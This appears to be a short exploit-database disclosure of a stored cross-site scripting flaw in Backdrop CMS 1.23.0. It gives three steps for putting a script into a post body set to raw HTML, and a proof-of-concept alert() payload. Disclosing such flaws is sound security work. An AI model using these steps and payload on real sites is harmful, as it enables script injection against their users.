# Exploit Title: Backdrop CMS 1.23.0 - Stored Cross-Site Scripting - Post Body Field # Date: 2023-08-21 # Exploit Author: Sinem Şahin # Vendor Homepage: https://backdropcms.org/ # Version: 1.23.0 # Tested on: Windows & XAMPP ==> Tutorial <== 1- Go to the following url. => http://(HOST)/backdrop/node/add/post 2- Write your xss payload in the body of the post. Formatting options should be RAW HTML to choose from. 3- Press "Save" button. XSS Payload ==> "<script>alert("post_body")</script>